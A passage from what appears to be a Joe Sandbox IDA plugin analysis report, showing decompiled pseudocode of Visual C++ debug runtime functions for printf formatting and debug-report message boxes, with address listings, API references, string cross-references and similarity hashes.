									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00422F00(_t538))) = 0x16;
									E00422C90(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041AEB0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00422F00(__ecx))) = 0x16;
						__eax = E00422C90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
						 *(__ebp - 0x4cc) = 0xffffffff;
						__ecx = __ebp - 0x40;
						__eax = E0041AEB0(__ecx);
						__eax =  *(__ebp - 0x4cc);
						L225:
						return E0042BD50(_t486, _t534,  *(_t600 - 0x48) ^ _t600, _t574, _t598, _t599);
					}
					L115:
					if(( *(_t600 - 0x10) & 0x00000020) == 0) {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					} else {
						 *( *(_t600 - 0x484)) =  *(_t600 - 0x44c);
					}
					 *(_t600 - 0x28) = 1;
					goto L187;
				}
			}

0x0043c18a
0x0043c18a
0x0043c18a
0x0043c18a
0x0043c18a
0x0043c18a
0x0043c18e
0x0043c193
0x0043c196
0x0043c1a3
0x00000000
0x00000000
0x0043c1a9
0x0043c1a9
0x0043c1ab
0x0043c1b9
0x0043c1ad
0x0043c1ad
0x0043c1ad
0x0043c1c3
0x0043c1c9
0x0043c1d6
0x0043c1d8
0x0043c1dd
0x0043c1df
0x0043c1e4
0x0043c1e9
0x0043c1eb
0x0043c1f0
0x0043c1f6
0x0043c1f8
0x0043c1f8
0x0043c1f6
0x0043c200
0x0043c248
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x0043c74a
0x0043c750
0x0043c75a
0x0043c774
0x0043c78e
0x0043c795
0x0043c799
0x0043c799
0x0043c776
0x0043c77b
0x0043c77f
0x0043c77f
0x0043c75c
0x0043c761
0x0043c765
0x0043c765
0x0043c75a
0x0043c7a9
0x0043c7b5
0x0043c7cb
0x0043c7d0
0x0043c7d0
0x0043c7e6
0x0043c7eb
0x0043c7f4
0x0043c7fc
0x0043c812
0x0043c817
0x0043c817
0x0043c7fc
0x0043c81e
0x0043c8d8
0x0043c8eb
0x0043c8f0
0x00000000
0x0043c824
0x0043c824
0x0043c828
0x00000000
0x00000000
0x0043c82e
0x0043c831
0x0043c83a
0x0043c840
0x0043c840
0x0043c84f
0x0043c857
0x00000000
0x00000000
0x0043c859
0x0043c85c
0x0043c881
0x0043c886
0x0043c889
0x0043c896
0x0043c8a4
0x0043c8b7
0x0043c8bc
0x0043c8cb
0x00000000
0x0043c8cb
0x0043c898
0x0043c898
0x00000000
0x0043c898
0x0043c8d6
0x0043c8f3
0x0043c8fa
0x0043c902
0x0043c918
0x0043c91d
0x0043c91d
0x0043c902
0x0043c8fa
0x0043c920
0x0043c924
0x0043c92c
0x0043c931
0x0043c934
0x0043c934
0x0043c93b
0x0043c93b
0x0043babb
0x0043bac2
0x0043bacf
0x0043bad4
0x00000000
0x0043bae7
0x0043baf1
0x0043bb18
0x0043baff
0x0043bb10
0x0043bb10
0x0043baf1
0x0043bb22
0x0043bb28
0x0043bb34
0x0043bb37
0x0043bb45
0x0043bb48
0x0043bb55
0x0043bbfa
0x0043bc00
0x0043bc0d
0x00000000
0x00000000
0x0043bc13
0x0043bc19
0x00000000
0x0043bc20
0x0043bc20
0x0043bc3a
0x0043bc3f
0x00000000
0x00000000
0x0043bc47
0x0043bc47
0x0043bc4e
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x0043bc5d
0x0043bc60
0x0043bc67
0x0043bc6e
0x00000000
0x00000000
0x0043bc7a
0x0043bc7a
0x0043bc81
0x0043bc8d
0x0043bc90
0x0043bc96
0x0043bc9d
0x00000000
0x00000000
0x0043bc9f
0x0043bca5
0x0043bca5
0x0043bcac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcf0
0x0043bcf0
0x0043bcf7
0x0043bcfa
0x0043bd24
0x0043bd27
0x0043bd27
0x0043bd31
0x0043bd31
0x0043bd35
0x0043bcfc
0x0043bcfc
0x0043bd08
0x0043bd0b
0x0043bd0f
0x0043bd11
0x0043bd14
0x0043bd14
0x0043bd17
0x0043bd1a
0x0043bd1d
0x0043bd1f
0x0043bd1f
0x0043bd22
0x0043bd38
0x00000000
0x00000000
0x0043bd3d
0x0043bd3d
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd50
0x0043bd53
0x0043bd73
0x0043bd76
0x0043bd76
0x0043bd80
0x0043bd80
0x0043bd84
0x0043bd55
0x0043bd55
0x0043bd61
0x0043bd64
0x0043bd68
0x0043bd6a
0x0043bd6a
0x0043bd71
0x00000000
0x00000000
0x0043bd8c
0x0043bd8c
0x0043bd93
0x0043bd9f
0x0043bda2
0x0043bda8
0x0043bdaf
0x0043bec2
0x00000000
0x0043bec2
0x0043bdb5
0x0043bdbb
0x0043bdbb
0x0043bdc2
0x00000000
0x0043bdf9
0x0043bdf9
0x0043bdfc
0x0043bdff
0x0043be02
0x0043be29
0x0043be29
0x0043be2c
0x0043be2f
0x0043be32
0x0043be56
0x0043be56
0x0043be59
0x0043be5c
0x0043be5f
0x0043be98
0x0043bea9
0x00000000
0x0043bea9
0x0043be61
0x0043be61
0x0043be64
0x0043be67
0x0043be6a
0x00000000
0x00000000
0x0043be6c
0x0043be6c
0x0043be6f
0x0043be72
0x0043be75
0x00000000
0x00000000
0x0043be77
0x0043be77
0x0043be7a
0x0043be7d
0x0043be80
0x00000000
0x00000000
0x0043be82
0x0043be82
0x0043be85
0x0043be88
0x0043be8b
0x00000000
0x00000000
0x0043be8d
0x0043be8d
0x0043be90
0x0043be93
0x0043be96
0x0043be9a
0x00000000
0x0043be9a
0x00000000
0x0043be96
0x0043be34
0x0043be34
0x0043be37
0x0043be3b
0x0043be3e
0x00000000
0x0043be40
0x0043be43
0x0043be46
0x0043be4c
0x0043be51
0x00000000
0x0043be51
0x0043be3e
0x0043be04
0x0043be04
0x0043be07
0x0043be0b
0x0043be0e
0x00000000
0x0043be10
0x0043be13
0x0043be16
0x0043be1c
0x0043be21
0x00000000
0x0043be21
0x00000000
0x0043beab
0x0043beab
0x0043beae
0x0043beb1
0x00000000
0x00000000
0x0043bdc9
0x0043bdc9
0x0043bdcc
0x0043bdcf
0x0043bdd2
0x0043bdeb
0x0043bdee
0x0043bdee
0x0043bdf1
0x0043bdd4
0x0043bdd4
0x0043bdd7
0x0043bdda
0x0043bde0
0x0043bde6
0x0043bde6
0x00000000
0x00000000
0x0043beb6
0x0043beb6
0x0043beb9
0x0043beb9
0x0043bebf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bec7
0x0043bec7
0x0043bece
0x0043bed4
0x0043beda
0x0043bedd
0x0043bee3
0x0043beea
0x00000000
0x0043c740
0x0043c740
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c6f7
0x0043c6fd
0x0043c700
0x0043c703
0x0043c706
0x0043c709
0x0043c70f
0x0043c70f
0x0043c70f
0x0043c717
0x0043c71b
0x00000000
0x00000000
0x0043c71d
0x0043c71d
0x0043c720
0x0043c723
0x0043c723
0x0043c728
0x0043c72b
0x0043c72e
0x0043c731
0x0043c734
0x0043c737
0x0043c73a
0x0043c73a
0x0043c73d
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x0043bef0
0x0043bef6
0x0043bef6
0x0043befd
0x00000000
0x0043c281
0x0043c281
0x0043c28f
0x0043c28f
0x0043c292
0x00000000
0x00000000
0x0043bf04
0x0043bf07
0x0043bf07
0x0043bf0d
0x0043bf0f
0x0043bf12
0x0043bf12
0x0043bf15
0x0043bf15
0x00000000
0x00000000
0x0043c04a
0x0043c04d
0x0043c04d
0x0043c052
0x0043c054
0x0043c057
0x0043c057
0x0043c05a
0x0043c05a
0x00000000
0x00000000
0x0043c44d
0x0043c44d
0x00000000
0x00000000
0x0043bfb4
0x0043bfb4
0x0043bfc0
0x0043bfc6
0x0043bfcd
0x0043bfdb
0x0043bfdb
0x0043bfe1
0x0043bfe4
0x0043bff0
0x0043c045
0x00000000
0x0043c045
0x0043bfcf
0x0043bfcf
0x0043bfd5
0x0043bfd9
0x0043bff8
0x0043bff8
0x0043bffe
0x0043c026
0x0043c02d
0x0043c033
0x0043c036
0x0043c039
0x0043c03f
0x0043c042
0x0043c000
0x0043c000
0x0043c006
0x0043c009
0x0043c00c
0x0043c012
0x0043c015
0x0043c018
0x0043c01a
0x0043c01d
0x0043c01d
0x00000000
0x0043bffe
0x00000000
0x00000000
0x0043c299
0x0043c29c
0x0043c29f
0x0043c2a2
0x0043c2a8
0x0043c2ab
0x0043c2b2
0x0043c2b6
0x0043c2c1
0x0043c2c1
0x0043c2c5
0x0043c2dc
0x0043c2dc
0x0043c2e3
0x0043c2e5
0x0043c2e5
0x0043c2ec
0x0043c2ec
0x0043c2f3
0x0043c301
0x0043c304
0x0043c313
0x0043c316
0x0043c31a
0x0043c32f
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c325
0x0043c32a
0x0043c32a
0x0043c31a
0x0043c339
0x0043c33c
0x0043c33f
0x0043c342
0x0043c345
0x0043c348
0x0043c34e
0x0043c354
0x0043c35c
0x0043c35d
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37b
0x0043c37c
0x0043c38b
0x0043c38d
0x0043c393
0x0043c393
0x0043c398
0x0043c39a
0x0043c39e
0x0043c3a0
0x0043c3a8
0x0043c3a9
0x0043c3ac
0x0043c3ad
0x0043c3bc
0x0043c3be
0x0043c3be
0x0043c39e
0x0043c3c1
0x0043c3c8
0x0043c3cb
0x0043c3d0
0x0043c3d0
0x0043c3d6
0x0043c3d8
0x0043c3e0
0x0043c3e1
0x0043c3e4
0x0043c3e5
0x0043c3f3
0x0043c3f5
0x0043c3f5
0x0043c3d6
0x0043c3f8
0x0043c3fb
0x0043c3fe
0x0043c401
0x0043c406
0x0043c40b
0x0043c40e
0x0043c411
0x0043c411
0x0043c414
0x0043c414
0x0043c417
0x0043c423
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c740
0x0043c2c7
0x0043c2c7
0x0043c2ce
0x0043c2d1
0x00000000
0x00000000
0x0043c2d3
0x0043c2d3
0x00000000
0x0043c2d3
0x0043c2b8
0x0043c2b8
0x00000000
0x00000000
0x0043bf18
0x0043bf18
0x0043bf23
0x0043bf2b
0x0043bf32
0x0043bf35
0x0043bf35
0x0043bf38
0x0043bf98
0x0043bf3a
0x0043bf41
0x0043bf47
0x0043bf4d
0x0043bf54
0x0043bf57
0x0043bf5d
0x0043bf65
0x0043bf67
0x0043bf6e
0x0043bf75
0x0043bf7c
0x0043bf84
0x0043bf86
0x0043bf88
0x0043bf88
0x0043bf8f
0x0043bf9f
0x0043bfa5
0x0043bfa8
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x0043c42b
0x0043c42e
0x0043c431
0x0043c434
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c494
0x0043c494
0x0043c49e
0x0043c49e
0x0043c4a4
0x0043c4a6
0x0043c4a9
0x0043c4a9
0x0043c4af
0x0043c4af
0x00000000
0x00000000
0x0043c446
0x0043c446
0x00000000
0x00000000
0x0043c05d
0x0043c05d
0x0043c061
0x0043c06f
0x0043c072
0x0043c063
0x0043c063
0x0043c063
0x0043c078
0x0043c07e
0x0043c084
0x0043c090
0x0043c096
0x0043c096
0x0043c099
0x0043c121
0x0043c121
0x0043c125
0x0043c127
0x0043c12d
0x0043c12d
0x0043c130
0x0043c137
0x0043c13a
0x0043c140
0x0043c140
0x0043c140
0x0043c146
0x0043c14c
0x0043c14f
0x0043c155
0x0043c157
0x00000000
0x00000000
0x0043c159
0x0043c159
0x0043c15f
0x0043c162
0x0043c164
0x00000000
0x00000000
0x0043c166
0x0043c16c
0x0043c16f
0x0043c16f
0x0043c177
0x0043c177
0x0043c17d
0x0043c17d
0x0043c182
0x00000000
0x0043c09f
0x0043c09f
0x0043c09f
0x0043c0a3
0x0043c0a5
0x0043c0aa
0x0043c0aa
0x0043c0ad
0x0043c0b0
0x0043c0b6
0x0043c0c8
0x0043c0c8
0x0043c0c8
0x0043c0cb
0x0043c0d1
0x00000000
0x00000000
0x0043c0d3
0x0043c0d3
0x0043c0d9
0x0043c0dc
0x0043c0de
0x00000000
0x00000000
0x0043c0e0
0x0043c0e0
0x0043c0e9
0x0043c0ef
0x0043c0f3
0x0043c0fb
0x0043c0fd
0x0043c0ff
0x0043c105
0x0043c105
0x0043c108
0x0043c108
0x0043c114
0x0043c117
0x0043c0bf
0x0043c0c2
0x0043c0c2
0x0043c0c5
0x0043c0c5
0x0043c11f
0x0043c185
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x0043c740
0x00000000
0x0043c43d
0x0043c43d
0x00000000
0x00000000
0x0043c459
0x0043c459
0x0043c463
0x0043c463
0x0043c46d
0x0043c46d
0x0043c473
0x0043c475
0x0043c47a
0x0043c484
0x0043c484
0x0043c487
0x0043c48b
0x0043c48b
0x0043c4b2
0x0043c4b5
0x0043c4b5
0x0043c4ba
0x0043c4dc
0x0043c4dc
0x0043c4e2
0x0043c504
0x0043c504
0x0043c507
0x0043c54e
0x0043c54e
0x0043c551
0x0043c56e
0x0043c572
0x0043c57a
0x0043c57a
0x0043c57c
0x0043c582
0x0043c553
0x0043c553
0x0043c557
0x0043c55f
0x0043c560
0x0043c566
0x0043c566
0x0043c509
0x0043c50c
0x0043c50c
0x0043c50f
0x0043c52d
0x0043c539
0x0043c53c
0x0043c53d
0x0043c543
0x0043c511
0x0043c511
0x0043c515
0x0043c51d
0x0043c51e
0x0043c51f
0x0043c525
0x0043c525
0x0043c549
0x0043c4e4
0x0043c4e4
0x0043c4f0
0x0043c4f6
0x0043c4f6
0x0043c4bc
0x0043c4bc
0x0043c4c8
0x0043c4ce
0x0043c4ce
0x0043c58b
0x0043c58b
0x0043c58e
0x0043c5d0
0x0043c5d0
0x0043c5d6
0x0043c5dc
0x0043c5e2
0x00000000
0x0043c590
0x0043c590
0x0043c590
0x0043c597
0x00000000
0x00000000
0x0043c599
0x0043c599
0x0043c5a4
0x0043c5aa
0x0043c5ac
0x0043c5b2
0x0043c5b5
0x0043c5b7
0x0043c5bd
0x0043c5c6
0x0043c5cb
0x0043c5e8
0x0043c5eb
0x0043c5eb
0x0043c5f0
0x0043c5f5
0x0043c5f5
0x0043c5fb
0x0043c5fd
0x0043c603
0x0043c609
0x0043c609
0x0043c612
0x0043c612
0x0043c5fb
0x0043c618
0x0043c61c
0x0043c62a
0x0043c62d
0x0043c630
0x0043c637
0x0043c639
0x0043c639
0x0043c61e
0x0043c61e
0x0043c61e
0x0043c646
0x0043c646
0x0043c64c
0x0043c64e
0x0043c64e
0x0043c655
0x0043c65b
0x0043c65e
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x0043c66e
0x0043c674
0x0043c674
0x0043c67a
0x00000000
0x00000000
0x0043c67c
0x0043c67c
0x0043c67f
0x0043c682
0x0043c689
0x0043c690
0x0043c698
0x0043c69e
0x0043c6a1
0x0043c6a4
0x0043c6ab
0x0043c6b7
0x0043c6bd
0x0043c6c3
0x0043c6ca
0x0043c6cc
0x0043c6d2
0x0043c6d2
0x0043c6d8
0x0043c6d8
0x0043c6de
0x0043c6e7
0x0043c6ec
0x0043c6ef
0x0043c65e
0x0043c65e
0x0043c664
0x0043c667
0x0043c66a
0x0043c66c
0x00000000
0x00000000
0x00000000
0x0043c66c
0x0043c65e
0x0043c59b
0x0043c59b
0x0043c5a2
0x00000000
0x00000000
0x00000000
0x0043c5a2
0x00000000
0x0043c740
0x0043c740
0x0043c744
0x00000000
0x00000000
0x00000000
0x0043c744
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bccc
0x0043bccf
0x00000000
0x00000000
0x0043bcd4
0x0043bcd7
0x0043bcdd
0x00000000
0x00000000
0x0043bcbe
0x0043bcc1
0x0043bcc4
0x00000000
0x00000000
0x0043bcb3
0x0043bcb6
0x0043bcb9
0x00000000
0x00000000
0x0043bce2
0x0043bce2
0x0043bce5
0x0043bce5
0x0043bce8
0x00000000
0x00000000
0x0043bceb
0x00000000
0x00000000
0x0043bb5b
0x0043bb5b
0x0043bb5d
0x0043bb6b
0x0043bb5f
0x0043bb5f
0x0043bb5f
0x0043bb7b
0x0043bb88
0x0043bb8a
0x0043bb8f
0x0043bb91
0x0043bb96
0x0043bb9b
0x0043bb9d
0x0043bba2
0x0043bba8
0x0043bbaa
0x0043bbaa
0x0043bba8
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbb4
0x0043bbb9
0x0043bbd5
0x0043bbdd
0x0043bbea
0x0043bbef
0x00000000
0x0043bbef
0x0043bbb2
0x0043bb55
0x0043c940
0x0043c947
0x0043c95e
0x0043c95e
0x0043c968
0x0043c968
0x0043c96e
0x0043c97b
0x0043c97d
0x0043c982
0x0043c984
0x0043c989
0x0043c98e
0x0043c990
0x0043c995
0x0043c99b
0x0043c99d
0x0043c99d
0x0043c99b
0x0043c9a5
0x0043c9f0
0x0043c9f9
0x0043c9fe
0x0043c9a7
0x0043c9ac
0x0043c9c8
0x0043c9d0
0x0043c9dd
0x0043c9e2
0x0043c9e2
0x00000000
0x0043c9a5
0x0043c949
0x0043c950
0x00000000
0x00000000
0x0043c952
0x0043c952
0x00000000
0x0043c952
0x0043c202
0x0043c202
0x0043c207
0x0043c223
0x0043c22b
0x0043c235
0x0043c238
0x0043c23d
0x0043ca04
0x0043ca11
0x0043ca11
0x0043c24d
0x0043c253
0x0043c273
0x0043c255
0x0043c262
0x0043c262
0x0043c275
0x00000000
0x0043c275

APIs

_get_int_arg.LIBCMTD ref: 0043C18E
__get_printf_count_output.LIBCMTD ref: 0043C19C
__invalid_parameter.LIBCMTD ref: 0043C223
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043C238
_write_multi_char.LIBCMTD ref: 0043C7CB
_write_string.LIBCMTD ref: 0043C7E6
_write_multi_char.LIBCMTD ref: 0043C812
__mbtowc_l.LIBCMTD ref: 0043C881

Strings

_woutput_s_l, xrefs: 0043BBCB, 0043C219
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB96, 0043BBC6, 0043C1E4, 0043C214
("Incorrect format specifier", 0), xrefs: 0043BB8A, 0043BBD0
("'n' format specifier disabled", 0), xrefs: 0043C1D8, 0043C21E

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2386203720-1989478660
Opcode ID: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction ID: e369a95c92a92160060124f2ad8a50d022b697e686c1f2174a91260bcf90b76a
Opcode Fuzzy Hash: fd9c668606143fd27d4ce1e06399ca55bd58dba621ef760028682ea5758b1ec3
Instruction Fuzzy Hash: B2A18DB5D002299BDF24DF55CC85BAEB371AB48304F14509AE6097B282D778AE84CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 004298F7, Relevance: 26.4, APIs: 6, Strings: 9, Instructions: 100
windowCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E004298F7() {
				intOrPtr _t36;
				intOrPtr* _t37;
				void* _t40;
				void* _t48;
				void* _t62;
				void* _t63;
				signed int _t64;
				void* _t66;
				void* _t67;

				 *(_t64 - 0x114c) = "...";
				if( *((intOrPtr*)(_t64 + 0x14)) == 0) {
					 *(_t64 - 0x1150) = 0x404106;
				} else {
					 *(_t64 - 0x1150) = "\nModule: ";
				}
				_push( *((intOrPtr*)(_t64 - 0x1124)));
				_push( *((intOrPtr*)(_t64 - 0x1128)));
				_push( *((intOrPtr*)(_t64 - 0x112c)));
				_push( *((intOrPtr*)(_t64 - 0x1130)));
				_push( *((intOrPtr*)(_t64 - 0x1134)));
				_push( *((intOrPtr*)(_t64 - 0x1138)));
				_push( *((intOrPtr*)(_t64 - 0x113c)));
				_push( *((intOrPtr*)(_t64 - 0x1140)));
				_push( *((intOrPtr*)(_t64 - 0x1144)));
				_push( *(_t64 - 0x114c));
				_push( *(_t64 - 0x1150));
				_push( *((intOrPtr*)(_t64 - 8)));
				_t61 =  *(_t64 + 8);
				_t53 = _t64 - 0x1010;
				_t36 = E0042BD20(_t64 - 0x1010, _t64 - 0x1010, 0x1000, 0xfff, "Debug %s!\n\nProgram: %s%s%s%s%s%s%s%s%s%s%s%s\n\n(Press Retry to debug the application)",  *((intOrPtr*)( *(_t64 + 8) * 4 + "8R@")));
				_t67 = _t66 + 0x44;
				 *((intOrPtr*)(_t64 - 0xc)) = _t36;
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 =  *(L00422F00(_t53));
					E0041DAE0( *(L00422F00(_t53)), 0x16, 0x22, L"(*_errno())", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x160, 0);
					_t67 = _t67 + 0x20;
				}
				_t37 = L00422F00(_t53);
				_t54 =  *((intOrPtr*)(_t64 - 0x1120));
				 *_t37 =  *((intOrPtr*)(_t64 - 0x1120));
				if( *((intOrPtr*)(_t64 - 0xc)) < 0) {
					_t61 = _t64 - 0x1010;
					E0041E050(E0041DBD0(_t48, _t54, _t63, _t64 - 0x1010, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t44, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"__crtMessageWindowA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrpt.c", 0x165, 0);
					_t67 = _t67 + 0x24;
				}
				 *((intOrPtr*)(_t64 - 0x111c)) = E00435940(_t64 - 0x1010, "Microsoft Visual C++ Debug Library", 0x12012);
				if( *((intOrPtr*)(_t64 - 0x111c)) == 3) {
					E0042D480(0x16);
					E004260F0(3);
				}
				if( *((intOrPtr*)(_t64 - 0x111c)) != 4) {
					_t40 = 0;
				} else {
					_t40 = 1;
				}
				return E0042BD50(_t40, _t48,  *(_t64 - 0x10) ^ _t64, _t61, _t62, _t63);
			}

0x004298f7
0x00429911
0x0042991f
0x00429913
0x00429913
0x00429913
0x0042992f
0x00429936
0x0042993d
0x00429944
0x0042994b
0x00429952
0x00429959
0x00429960
0x00429967
0x0042996e
0x00429975
0x00429979
0x0042997a
0x00429994
0x0042999b
0x004299a0
0x004299a3
0x004299aa
0x004299cb
0x004299ce
0x004299d3
0x004299d3
0x004299d6
0x004299db
0x004299e1
0x004299e7
0x00429a09
0x00429a19
0x00429a1e
0x00429a1e
0x00429a3a
0x00429a47
0x00429a4b
0x00429a55
0x00429a55
0x00429a61
0x00429a6a
0x00429a63
0x00429a63
0x00429a63
0x00429a79

APIs

__snwprintf_s.LIBCMTD ref: 0042999B
__invoke_watson_if_oneof.LIBCMTD ref: 004299CE
_wcscpy_s.LIBCMTD ref: 00429A10
__invoke_watson_if_error.LIBCMTD ref: 00429A19
___crtMessageBoxW.LIBCMTD ref: 00429A32
_raise.LIBCMTD ref: 00429A4B

Strings

(*_errno()), xrefs: 004299BD
_CrtDbgReport: String too long or IO Error, xrefs: 004299FF
..., xrefs: 004298F7, 0042996E
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 004299FA
Module: , xrefs: 00429913
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 004299B3, 004299F0
__crtMessageWindowA, xrefs: 004299B8, 004299F5
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00429985
Microsoft Visual C++ Debug Library, xrefs: 00429A26

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof__snwprintf_s_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction ID: 21e47def06b6bee1ea87ebef6b44fd1a55918fd007e7b4fbcac35bb5d8ea2467
Opcode Fuzzy Hash: 6928584f9c4ac3898be6330fd061fc5c140099a0aaccca2a1799e1eb01480f22
Instruction Fuzzy Hash: 663175B5B40228ABCB24DA55DC46FDA7374AB48744F4040EEF309B62C5D6B85EC08F59

Uniqueness

Uniqueness Score: -1.00%

Function 00434BC5, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434BC5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E004283F0(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E004357B0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E004357F0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
